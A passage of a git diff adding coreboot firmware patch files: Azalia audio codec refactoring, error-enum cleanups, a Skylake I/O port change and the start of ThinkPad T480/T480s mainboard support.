AZALIA_RIGHT, /* vendor: AZALIA_REAR */ ++ /* vendor: AZALIA_EXTERNAL_PRIMARY_CHASSIS | AZALIA_REAR */ ++ AZALIA_EXTERNAL_PRIMARY_CHASSIS | AZALIA_RIGHT, + AZALIA_MIC_IN, + AZALIA_STEREO_MONO_1_8, + AZALIA_BLACK, /* vendor: AZALIA_PINK */ +@@ -61,8 +59,7 @@ const u32 cim_verb_data[] = { + /* PCBEEP, vendor value: 0x41748245 */ + AZALIA_PIN_CFG(0, 0x1d, AZALIA_PIN_DESC( + AZALIA_INTEGRATED, /* vendor: AZALIA_NC */ +- AZALIA_INTERNAL, /* vendor: AZALIA_EXTERNAL_PRIMARY_CHASSIS */ +- AZALIA_GEOLOCATION_NA, /* vendor: AZALIA_REAR */ ++ AZALIA_INTERNAL, /* vendor: AZALIA_EXTERNAL_PRIMARY_CHASSIS | AZALIA_REAR */ + AZALIA_DEVICE_OTHER, /* vendor: AZALIA_MODEM_HANDSET_SIDE */ + AZALIA_OTHER_ANALOG, /* vendor: AZALIA_RCA */ + AZALIA_COLOR_UNKNOWN, /* vendor: AZALIA_PURPLE */ +diff --git a/src/mainboard/siemens/chili/variants/chili/hda_verb.c b/src/mainboard/siemens/chili/variants/chili/hda_verb.c +index 7fdb884465..b9748612a5 100644 +--- a/src/mainboard/siemens/chili/variants/chili/hda_verb.c ++++ b/src/mainboard/siemens/chili/variants/chili/hda_verb.c +@@ -17,7 +17,6 @@ const u32 cim_verb_data[] = { + AZALIA_PIN_CFG(0, 0x14, AZALIA_PIN_DESC( /* 0x14 Speaker OUT */ + AZALIA_INTEGRATED, + AZALIA_INTERNAL, +- AZALIA_GEOLOCATION_NA, + AZALIA_SPEAKER, + AZALIA_OTHER_ANALOG, + AZALIA_COLOR_UNKNOWN, +@@ -26,8 +25,7 @@ const u32 cim_verb_data[] = { + )), + AZALIA_PIN_CFG(0, 0x21, AZALIA_PIN_DESC( /* 0x21 Headphone OUT */ + AZALIA_JACK, +- AZALIA_EXTERNAL_PRIMARY_CHASSIS, +- AZALIA_FRONT, ++ AZALIA_EXTERNAL_PRIMARY_CHASSIS | AZALIA_FRONT, + AZALIA_HP_OUT, + AZALIA_COMBINATION, + AZALIA_BLACK, +@@ -36,8 +34,7 @@ const u32 cim_verb_data[] = { + )), + AZALIA_PIN_CFG(0, 0x19, AZALIA_PIN_DESC( /* 0x19 MIC2 */ + AZALIA_JACK, +- AZALIA_EXTERNAL_PRIMARY_CHASSIS, +- AZALIA_FRONT, ++ AZALIA_EXTERNAL_PRIMARY_CHASSIS | AZALIA_FRONT, + AZALIA_MIC_IN, + AZALIA_COMBINATION, + AZALIA_BLACK, +@@ -67,8 +64,7 @@ const u32 cim_verb_data[] = { + AZALIA_PIN_CFG(2, 0x06, AZALIA_PIN_CFG_NC(1)), + AZALIA_PIN_CFG(2, 0x07, AZALIA_PIN_DESC( + AZALIA_JACK, +- AZALIA_EXTERNAL_PRIMARY_CHASSIS, +- AZALIA_SPECIAL7, ++ AZALIA_REAR_PANEL, + AZALIA_DIGITAL_OTHER_OUT, + AZALIA_OTHER_DIGITAL, + AZALIA_COLOR_UNKNOWN, +-- +2.39.5 + diff --git a/patches/coreboot-24.02.01/0008-device-azalia-Separate-codec-checking-and-initializa.patch b/patches/coreboot-24.02.01/0008-device-azalia-Separate-codec-checking-and-initializa.patch new file mode 100644 index 000000000..b36b8a648 --- /dev/null +++ b/patches/coreboot-24.02.01/0008-device-azalia-Separate-codec-checking-and-initializa.patch @@ -0,0 +1,173 @@ +From 14b83c4c0500db7860f87fa5580accc12fef1110 Mon Sep 17 00:00:00 2001 +From: Nicholas Sudsgaard +Date: Fri, 2 Feb 2024 18:21:34 +0900 +Subject: [PATCH 08/11] device/azalia: Separate codec checking and + initialization + +This also changes how debug messages will be printed. I focused on +reducing clutter on the screen and made the style of the messages +consistent. + +Before: +azalia_audio: Initializing codec #5 + codec not ready. +azalia_audio: Initializing codec #4 + codec not valid. +azalia_audio: Initializing codec #3 +azalia_audio: viddid: ffffffff +azalia_audio: verb_size: 4 +azalia_audio: verb loaded. + +After: +azalia_audio: codec #5 not ready +azalia_audio: codec #4 not valid +azalia_audio: initializing codec #3... +azalia_audio: - vendor/device id: 0xffffffff +azalia_audio: - verb size: 4 +azalia_audio: - verb loaded + +Change-Id: I92b6d184abccdbe0e1bfce98a2c959a97a618a29 +Signed-off-by: Nicholas Sudsgaard +Reviewed-on: https://review.coreboot.org/c/coreboot/+/80332 +Reviewed-by: Nico Huber +Reviewed-by: Felix Singer +Tested-by: build bot (Jenkins) +--- + src/device/azalia_device.c | 67 ++++++++++++++++-------------- + src/include/device/azalia_device.h | 2 + + 2 files changed, 37 insertions(+), 32 deletions(-) + +diff --git a/src/device/azalia_device.c b/src/device/azalia_device.c +index 4ac585dac1..8051f2e7ee 100644 +--- a/src/device/azalia_device.c ++++ b/src/device/azalia_device.c +@@ -7,6 +7,7 @@ + #include + #include + #include ++#include + + int azalia_set_bits(void *port, u32 mask, u32 val) + { +@@ -97,7 +98,7 @@ no_codec: + /* Codec Not found */ + /* Put HDA back in reset (BAR + 0x8) [0] */ + azalia_set_bits(base + HDA_GCTL_REG, 1, 0); +- printk(BIOS_DEBUG, "azalia_audio: No codec!\n"); ++ printk(BIOS_DEBUG, "azalia_audio: no codec!\n"); + return 0; + } + +@@ -226,55 +227,57 @@ __weak void mainboard_azalia_program_runtime_verbs(u8 *base, u32 viddid) + { + } + +-void azalia_codec_init(u8 *base, int addr, const u32 *verb_table, u32 verb_table_bytes) ++static bool codec_is_operative(u8 *base, const int addr) + { +- u32 reg32; +- const u32 *verb; +- u32 verb_size; +- +- printk(BIOS_DEBUG, "azalia_audio: Initializing codec #%d\n", addr); +- +- /* 1 */ + if (wait_for_ready(base) < 0) { +- printk(BIOS_DEBUG, " codec not ready.\n"); +- return; ++ printk(BIOS_DEBUG, "azalia_audio: codec #%d not ready\n", addr); ++ return false; + } + +- reg32 = (addr << 28) | 0x000f0000; ++ const u32 reg32 = (addr << 28) | 0x000f0000; + write32(base + HDA_IC_REG, reg32); + + if (wait_for_valid(base) < 0) { +- printk(BIOS_DEBUG, " codec not valid.\n"); +- return; ++ printk(BIOS_DEBUG, "azalia_audio: codec #%d not valid\n", addr); ++ return false; + } ++ return true; ++} + +- /* 2 */ +- reg32 = read32(base + HDA_IR_REG); +- printk(BIOS_DEBUG, "azalia_audio: codec viddid: %08x\n", reg32); +- verb_size = azalia_find_verb(verb_table, verb_table_bytes, reg32, &verb); ++void azalia_codec_init(u8 *base, int addr, const u32 *verb_table, u32 verb_table_bytes) ++{ ++ const u32 viddid = read32(base + HDA_IR_REG); ++ const u32 *verb; ++ u32 verb_size; ++ ++ printk(BIOS_DEBUG, "azalia_audio: initializing codec #%d...\n", addr); ++ printk(BIOS_DEBUG, "azalia_audio: - vendor/device id: 0x%08x\n", viddid); ++ ++ verb_size = azalia_find_verb(verb_table, verb_table_bytes, viddid, &verb); + +- if (!verb_size) { +- printk(BIOS_DEBUG, "azalia_audio: No verb!\n"); ++ if (verb_size == 0) { ++ printk(BIOS_DEBUG, "azalia_audio: - no verb!\n"); + return; + } +- printk(BIOS_DEBUG, "azalia_audio: verb_size: %u\n", verb_size); ++ printk(BIOS_DEBUG, "azalia_audio: - verb size: %u\n", verb_size); + +- /* 3 */ +- const int rc = azalia_program_verb_table(base, verb, verb_size); +- if (rc < 0) +- printk(BIOS_DEBUG, "azalia_audio: verb not loaded.\n"); ++ if (azalia_program_verb_table(base, verb, verb_size) < 0) ++ printk(BIOS_DEBUG, "azalia_audio: - verb not loaded\n"); + else +- printk(BIOS_DEBUG, "azalia_audio: verb loaded.\n"); ++ printk(BIOS_DEBUG, "azalia_audio: - verb loaded\n"); + +- mainboard_azalia_program_runtime_verbs(base, reg32); ++ mainboard_azalia_program_runtime_verbs(base, viddid); + } + +-void azalia_codecs_init(u8 *base, u16 codec_mask) ++static bool codec_can_init(const u16 codec_mask, u8 *base, const int addr) + { +- int i; ++ return codec_mask & (1 << addr) && codec_is_operative(base, addr); ++} + +- for (i = 14; i >= 0; i--) { +- if (codec_mask & (1 << i)) ++void azalia_codecs_init(u8 *base, u16 codec_mask) ++{ ++ for (int i = AZALIA_MAX_CODECS - 1; i >= 0; i--) { ++ if (codec_can_init(codec_mask, base, i)) + azalia_codec_init(base, i, cim_verb_data, cim_verb_data_size); + } + +@@ -298,7 +301,7 @@ void azalia_audio_init(struct device *dev) + codec_mask = codec_detect(base); + + if (codec_mask) { +- printk(BIOS_DEBUG, "azalia_audio: codec_mask = %02x\n", codec_mask); ++ printk(BIOS_DEBUG, "azalia_audio: codec_mask = 0x%02x\n", codec_mask); + azalia_codecs_init(base, codec_mask); + } + } +diff --git a/src/include/device/azalia_device.h b/src/include/device/azalia_device.h +index 1fc0baf49b..59e7ea2af3 100644 +--- a/src/include/device/azalia_device.h ++++ b/src/include/device/azalia_device.h +@@ -18,6 +18,8 @@ + #define HDA_ICII_BUSY (1 << 0) + #define HDA_ICII_VALID (1 << 1) + ++#define AZALIA_MAX_CODECS 15 ++ + int azalia_set_bits(void *port, u32 mask, u32 val); + int azalia_enter_reset(u8 *base); + int azalia_exit_reset(u8 *base); +-- +2.39.5 + diff --git a/patches/coreboot-24.02.01/0009-azalia-Get-rid-of-return-1-0.patch b/patches/coreboot-24.02.01/0009-azalia-Get-rid-of-return-1-0.patch new file mode 100644 index 000000000..252c8b4a1 --- /dev/null +++ b/patches/coreboot-24.02.01/0009-azalia-Get-rid-of-return-1-0.patch @@ -0,0 +1,301 @@ +From 9ed9e8655dde4df0692ca04f550ae2abd81d2b40 Mon Sep 17 00:00:00 2001 +From: Elyes Haouas +Date: Wed, 17 Jul 2024 12:22:43 +0200 +Subject: [PATCH 09/11] azalia: Get rid of "return {-1,0} + +Use 'enum cb_err' instead of {-1,0}. + +Change-Id: Icea33ea3e6a5e3c7bbfedc29045026cd722ac23e +Signed-off-by: Elyes Haouas +Reviewed-on: https://review.coreboot.org/c/coreboot/+/83503 +Tested-by: build bot (Jenkins) +Reviewed-by: Martin L Roth +--- + src/device/azalia_device.c | 16 ++++++++-------- + src/include/device/azalia_device.h | 7 +++---- + src/soc/intel/common/hda_verb.c | 8 ++++---- + src/southbridge/intel/bd82x6x/azalia.c | 3 ++- + src/southbridge/intel/i82801gx/azalia.c | 7 ++++--- + src/southbridge/intel/i82801ix/azalia.c | 6 ++++-- + src/southbridge/intel/i82801jx/azalia.c | 6 ++++-- + src/southbridge/intel/ibexpeak/azalia.c | 4 +++- + src/southbridge/intel/lynxpoint/hda_verb.c | 7 ++++--- + 9 files changed, 36 insertions(+), 28 deletions(-) + +diff --git a/src/device/azalia_device.c b/src/device/azalia_device.c +index 8051f2e7ee..e709d9fe20 100644 +--- a/src/device/azalia_device.c ++++ b/src/device/azalia_device.c +@@ -9,7 +9,7 @@ + #include + #include + +-int azalia_set_bits(void *port, u32 mask, u32 val) ++static enum cb_err azalia_set_bits(void *port, u32 mask, u32 val) + { + struct stopwatch sw; + u32 reg32; +@@ -32,17 +32,17 @@ int azalia_set_bits(void *port, u32 mask, u32 val) + + /* Timeout occurred */ + if (stopwatch_expired(&sw)) +- return -1; +- return 0; ++ return CB_ERR; ++ return CB_SUCCESS; + } + +-int azalia_enter_reset(u8 *base) ++enum cb_err azalia_enter_reset(u8 *base) + { + /* Set bit 0 to 0 to enter reset state (BAR + 0x8)[0] */ + return azalia_set_bits(base + HDA_GCTL_REG, HDA_GCTL_CRST, 0); + } + +-int azalia_exit_reset(u8 *base) ++enum cb_err azalia_exit_reset(u8 *base) + { + /* Set bit 0 to 1 to exit reset state (BAR + 0x8)[0] */ + return azalia_set_bits(base + HDA_GCTL_REG, HDA_GCTL_CRST, HDA_GCTL_CRST); +@@ -53,7 +53,7 @@ static u16 codec_detect(u8 *base) + struct stopwatch sw; + u16 reg16; + +- if (azalia_exit_reset(base) < 0) ++ if (azalia_exit_reset(base) != CB_SUCCESS) + goto no_codec; + + if (CONFIG(AZALIA_LOCK_DOWN_R_WO_GCAP)) { +@@ -80,10 +80,10 @@ static u16 codec_detect(u8 *base) + if (stopwatch_expired(&sw)) + goto no_codec; + +- if (azalia_enter_reset(base) < 0) ++ if (azalia_enter_reset(base) != CB_SUCCESS) + goto no_codec; + +- if (azalia_exit_reset(base) < 0) ++ if (azalia_exit_reset(base) != CB_SUCCESS) + goto no_codec; + + /* Read in Codec location (BAR + 0x0e)[14:0] */ +diff --git a/src/include/device/azalia_device.h b/src/include/device/azalia_device.h +index 59e7ea2af3..7fe6514ed2 100644 +--- a/src/include/device/azalia_device.h ++++ b/src/include/device/azalia_device.h +@@ -6,7 +6,7 @@ + #include + #include + #include +-#include ++#include + + #define HDA_GCAP_REG 0x00 + #define HDA_GCTL_REG 0x08 +@@ -20,9 +20,8 @@ + + #define AZALIA_MAX_CODECS 15 + +-int azalia_set_bits(void *port, u32 mask, u32 val); +-int azalia_enter_reset(u8 *base); +-int azalia_exit_reset(u8 *base); ++enum cb_err azalia_enter_reset(u8 *base); ++enum cb_err azalia_exit_reset(u8 *base); + u32 azalia_find_verb(const u32 *verb_table, u32 verb_table_bytes, u32 viddid, const u32 **verb); + int azalia_program_verb_table(u8 *base, const u32 *verbs, u32 verb_size); + void azalia_codec_init(u8 *base, int addr, const u32 *verb_table, u32 verb_table_bytes); +diff --git a/src/soc/intel/common/hda_verb.c b/src/soc/intel/common/hda_verb.c +index dceb03183e..67a8f24516 100644 +--- a/src/soc/intel/common/hda_verb.c ++++ b/src/soc/intel/common/hda_verb.c +@@ -4,7 +4,7 @@ + #include + #include + #include +-#include ++#include + + #include "hda_verb.h" + +@@ -13,7 +13,7 @@ int hda_codec_detect(u8 *base) + u8 reg8; + + /* Set Bit 0 to 1 to exit reset state (BAR + 0x8)[0] */ +- if (azalia_exit_reset(base) < 0) ++ if (azalia_exit_reset(base) != CB_SUCCESS) + goto no_codec; + + /* Write back the value once reset bit is set. */ +@@ -26,11 +26,11 @@ int hda_codec_detect(u8 *base) + write8(base + HDA_STATESTS_REG, 0xf); + + /* Turn off the link and poll RESET# bit until it reads back as 0 */ +- if (azalia_enter_reset(base) < 0) ++ if (azalia_enter_reset(base) != CB_SUCCESS) + goto no_codec; + + /* Turn on the link and poll RESET# bit until it reads back as 1 */ +- if (azalia_exit_reset(base) < 0) ++ if (azalia_exit_reset(base) != CB_SUCCESS) + goto no_codec; + + /* Read in Codec location (BAR + 0xe)[2..0] */ +diff --git a/src/southbridge/intel/bd82x6x/azalia.c b/src/southbridge/intel/bd82x6x/azalia.c +index ddaa8a1bb0..4eeb3b5cf4 100644 +--- a/src/southbridge/intel/bd82x6x/azalia.c ++++ b/src/southbridge/intel/bd82x6x/azalia.c +@@ -8,6 +8,7 @@ + #include + #include + #include ++#include + + #include "chip.h" + #include "pch.h" +@@ -16,7 +17,7 @@ static int codec_detect(u8 *base) + { + u8 reg8; + +- if (azalia_exit_reset(base) < 0) ++ if (azalia_exit_reset(base) != CB_SUCCESS) + goto no_codec; + + /* Write back the value once reset bit is set. */ +diff --git a/src/southbridge/intel/i82801gx/azalia.c b/src/southbridge/intel/i82801gx/azalia.c +index 31827e6de9..cef3dee191 100644 +--- a/src/southbridge/intel/i82801gx/azalia.c ++++ b/src/southbridge/intel/i82801gx/azalia.c +@@ -8,7 +8,8 @@ + #include + #include + #include +-#include ++#include ++ + #include "chip.h" + #include "i82801gx.h" + +@@ -16,10 +17,10 @@ static int codec_detect(u8 *base) + { + u32 reg32; + +- if (azalia_enter_reset(base) < 0) ++ if (azalia_enter_reset(base) != CB_SUCCESS) + goto no_codec; + +- if (azalia_exit_reset(base) < 0) ++ if (azalia_exit_reset(base) != CB_SUCCESS) + goto no_codec; + + /* Read in Codec location (BAR + 0xe)[2..0] */ +diff --git a/src/southbridge/intel/i82801ix/azalia.c b/src/southbridge/intel/i82801ix/azalia.c +index fdc951472e..228b188f89 100644 +--- a/src/southbridge/intel/i82801ix/azalia.c ++++ b/src/southbridge/intel/i82801ix/azalia.c +@@ -7,6 +7,8 @@ + #include + #include + #include ++#include ++ + #include "chip.h" + #include "i82801ix.h" + +@@ -14,10 +16,10 @@ static int codec_detect(u8 *base) + { + u32 reg32; + +- if (azalia_enter_reset(base) < 0) ++ if (azalia_enter_reset(base) != CB_SUCCESS) + goto no_codec; + +- if (azalia_exit_reset(base) < 0) ++ if (azalia_exit_reset(base) != CB_SUCCESS) + goto no_codec; + + /* Read in Codec location (BAR + 0xe)[2..0] */ +diff --git a/src/southbridge/intel/i82801jx/azalia.c b/src/southbridge/intel/i82801jx/azalia.c +index fa0209ae78..6b840e7d50 100644 +--- a/src/southbridge/intel/i82801jx/azalia.c ++++ b/src/southbridge/intel/i82801jx/azalia.c +@@ -7,6 +7,8 @@ + #include + #include + #include ++#include ++ + #include "chip.h" + #include "i82801jx.h" + +@@ -14,10 +16,10 @@ static int codec_detect(u8 *base) + { + u32 reg32; + +- if (azalia_enter_reset(base) < 0) ++ if (azalia_enter_reset(base) != CB_SUCCESS) + goto no_codec; + +- if (azalia_exit_reset(base) < 0) ++ if (azalia_exit_reset(base) != CB_SUCCESS) + goto no_codec; + + /* Read in Codec location (BAR + 0xe)[2..0] */ +diff --git a/src/southbridge/intel/ibexpeak/azalia.c b/src/southbridge/intel/ibexpeak/azalia.c +index ac950c46df..6196096a14 100644 +--- a/src/southbridge/intel/ibexpeak/azalia.c ++++ b/src/southbridge/intel/ibexpeak/azalia.c +@@ -8,13 +8,15 @@ + #include + #include + #include ++#include ++ + #include "pch.h" + + static int codec_detect(u8 *base) + { + u8 reg8; + +- if (azalia_exit_reset(base) < 0) ++ if (azalia_exit_reset(base) != CB_SUCCESS) + goto no_codec; + + /* Write back the value once reset bit is set. */ +diff --git a/src/southbridge/intel/lynxpoint/hda_verb.c b/src/southbridge/intel/lynxpoint/hda_verb.c +index 7e9f4d2c48..e79b5d1b20 100644 +--- a/src/southbridge/intel/lynxpoint/hda_verb.c ++++ b/src/southbridge/intel/lynxpoint/hda_verb.c +@@ -3,6 +3,7 @@ + #include + #include + #include ++#include + + #include "hda_verb.h" + +@@ -11,7 +12,7 @@ int hda_codec_detect(u8 *base) + u8 reg8; + + /* Set Bit 0 to 1 to exit reset state (BAR + 0x8)[0] */ +- if (azalia_exit_reset(base) < 0) ++ if (azalia_exit_reset(base) != CB_SUCCESS) + goto no_codec; + + /* Write back the value once reset bit is set. */ +@@ -24,11 +25,11 @@ int hda_codec_detect(u8 *base) + write8(base + HDA_STATESTS_REG, 0xf); + + /* Turn off the link and poll RESET# bit until it reads back as 0 */ +- if (azalia_enter_reset(base) < 0) ++ if (azalia_enter_reset(base) != CB_SUCCESS) + goto no_codec; + + /* Turn on the link and poll RESET# bit until it reads back as 1 */ +- if (azalia_exit_reset(base) < 0) ++ if (azalia_exit_reset(base) != CB_SUCCESS) + goto no_codec; + + /* Read in Codec location (BAR + 0xe)[2..0] */ +-- +2.39.5 + diff --git a/patches/coreboot-24.02.01/0010-soc-intel-skylake-Enable-4E-4F-PNP-I-O-ports-in-boot.patch b/patches/coreboot-24.02.01/0010-soc-intel-skylake-Enable-4E-4F-PNP-I-O-ports-in-boot.patch new file mode 100644 index 000000000..b8ce60a31 --- /dev/null +++ b/patches/coreboot-24.02.01/0010-soc-intel-skylake-Enable-4E-4F-PNP-I-O-ports-in-boot.patch @@ -0,0 +1,30 @@ +From a8dd041e06aadb959dfe14ddeaf938bdd9700d3a Mon Sep 17 00:00:00 2001 +From: Mate Kukri +Date: Fri, 22 Nov 2024 21:26:48 +0000 +Subject: [PATCH 10/11] soc/intel/skylake: Enable 4E/4F PNP I/O ports in + bootblock + +Change-Id: I57c9d8a9513a268e2ca6a0abd1306cd038598173 +Signed-off-by: Mate Kukri +--- + src/soc/intel/skylake/bootblock/pch.c | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +diff --git a/src/soc/intel/skylake/bootblock/pch.c b/src/soc/intel/skylake/bootblock/pch.c +index cc2d384e2e..4b0bf310df 100644 +--- a/src/soc/intel/skylake/bootblock/pch.c ++++ b/src/soc/intel/skylake/bootblock/pch.c +@@ -99,8 +99,8 @@ static void soc_config_pwrmbase(void) + + void pch_early_iorange_init(void) + { +- uint16_t io_enables = LPC_IOE_SUPERIO_2E_2F | LPC_IOE_KBC_60_64 | +- LPC_IOE_EC_62_66; ++ uint16_t io_enables = LPC_IOE_EC_4E_4F | LPC_IOE_SUPERIO_2E_2F | ++ LPC_IOE_KBC_60_64 | LPC_IOE_EC_62_66; + + const config_t *config = config_of_soc(); + +-- +2.39.5 + diff --git a/patches/coreboot-24.02.01/0011-mb-lenovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch b/patches/coreboot-24.02.01/0011-mb-lenovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch new file mode 100644 index 000000000..9fe28dab9 --- /dev/null +++ b/patches/coreboot-24.02.01/0011-mb-lenovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch @@ -0,0 +1,2237 @@ +From 76fae5a1b0c7cf5412de1caf549a4019e4935a00 Mon Sep 17 00:00:00 2001 +From: Mate Kukri +Date: Tue, 31 Dec 2024 22:49:15 +0000 +Subject: [PATCH 11/11] mb/lenovo: Add ThinkPad T480 and ThinkPad T480s + +These machine have BootGuard fused and requires deguard to +boot coreboot. + +Known issues: +- Alpine Ridge Thunderbolt 3 controller does not work +- Some Fn+F{1-12} keys aren't handled correctly +- Nvidia dGPU is finicky + - Needs option ROM + - Power enable code is buggy + - Nouveau only works on linux 6.8-6.9 +- Headphone jack isn't detected as plugged in despite correct verbs + +Thanks to Leah Rowe for helping with the T480s. + +Signed-off-by: Mate Kukri +Change-Id: I19d421412c771c1f242f6ff39453f824fa866163 +--- + src/device/pci_rom.c | 4 +- + src/ec/lenovo/h8/acpi/ec.asl | 2 +- + src/ec/lenovo/h8/bluetooth.c | 6 +- + src/ec/lenovo/h8/wwan.c | 6 +- + src/mainboard/lenovo/sklkbl_thinkpad/Kconfig | 57 +++++ + .../lenovo/sklkbl_thinkpad/Kconfig.name | 7 + + .../lenovo/sklkbl_thinkpad/Makefile.mk | 73 +++++++ + .../lenovo/sklkbl_thinkpad/acpi/ec.asl | 12 ++ + .../lenovo/sklkbl_thinkpad/acpi/superio.asl | 3 + + .../lenovo/sklkbl_thinkpad/bootblock.c | 60 ++++++ + .../lenovo/sklkbl_thinkpad/devicetree.cb | 71 ++++++ + src/mainboard/lenovo/sklkbl_thinkpad/dsdt.asl | 33 +++ + src/mainboard/lenovo/sklkbl_thinkpad/ec.c | 153 +++++++++++++ + src/mainboard/lenovo/sklkbl_thinkpad/ec.h | 99 +++++++++ + src/mainboard/lenovo/sklkbl_thinkpad/gpio.h | 8 + + .../lenovo/sklkbl_thinkpad/ramstage.c | 105 +++++++++ + .../sklkbl_thinkpad/variants/t480/data.vbt | Bin 0 -> 4106 bytes + .../variants/t480/gma-mainboard.ads | 19 ++ + .../sklkbl_thinkpad/variants/t480/gpio.c | 203 ++++++++++++++++++ + .../sklkbl_thinkpad/variants/t480/hda_verb.c | 90 ++++++++ + .../variants/t480/memory_init_params.c | 20 ++ + .../variants/t480/overridetree.cb | 103 +++++++++ + .../sklkbl_thinkpad/variants/t480s/data.vbt | Bin 0 -> 4106 bytes + .../variants/t480s/gma-mainboard.ads | 19 ++ + .../sklkbl_thinkpad/variants/t480s/gpio.c | 199 +++++++++++++++++ + .../sklkbl_thinkpad/variants/t480s/hda_verb.c | 90 ++++++++ + .../variants/t480s/memory_init_params.c | 44 ++++ + .../variants/t480s/overridetree.cb | 103 +++++++++ + .../variants/t480s/spd/spd_0.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_1.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_10.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_11.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_12.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_13.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_14.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_15.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_16.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_17.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_18.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_19.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_2.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_20.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_3.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_4.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_5.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_6.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_7.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_8.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_9.bin | Bin 0 -> 512 bytes + 49 files changed, 1583 insertions(+), 6 deletions(-) + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/Kconfig + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/Kconfig.name + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/Makefile.mk + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/acpi/ec.asl + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/acpi/superio.asl + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/bootblock.c + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/devicetree.cb + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/dsdt.asl + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/ec.c + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/ec.h + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/gpio.h + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/ramstage.c + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/data.vbt + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/gma-mainboard.ads + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/gpio.c + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/hda_verb.c + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/memory_init_params.c + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/overridetree.cb + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/data.vbt + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/gma-mainboard.ads + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/gpio.c + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/hda_verb.c + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/memory_init_params.c + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/overridetree.cb + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_0.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_1.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_10.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_11.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_12.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_13.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_14.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_15.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_16.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_17.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_18.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_19.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_2.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_20.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_3.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_4.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_5.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_6.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_7.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_8.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_9.bin + +diff --git a/src/device/pci_rom.c b/src/device/pci_rom.c +index 1e212ab216..83f44bec05 100644 +--- a/src/device/pci_rom.c ++++ b/src/device/pci_rom.c +@@ -313,11 +313,13 @@ void pci_rom_ssdt(const struct device *device) + return; + } + ++#if 0 + const char *scope = acpi_device_path(device); + if (!scope) { + printk(BIOS_ERR, "%s: Missing ACPI scope\n", dev_path(device)); + return; + } ++#endif + + /* Supports up to four devices. */ + if ((CBMEM_ID_ROM0 + ngfx) > CBMEM_ID_ROM3) { +@@ -345,7 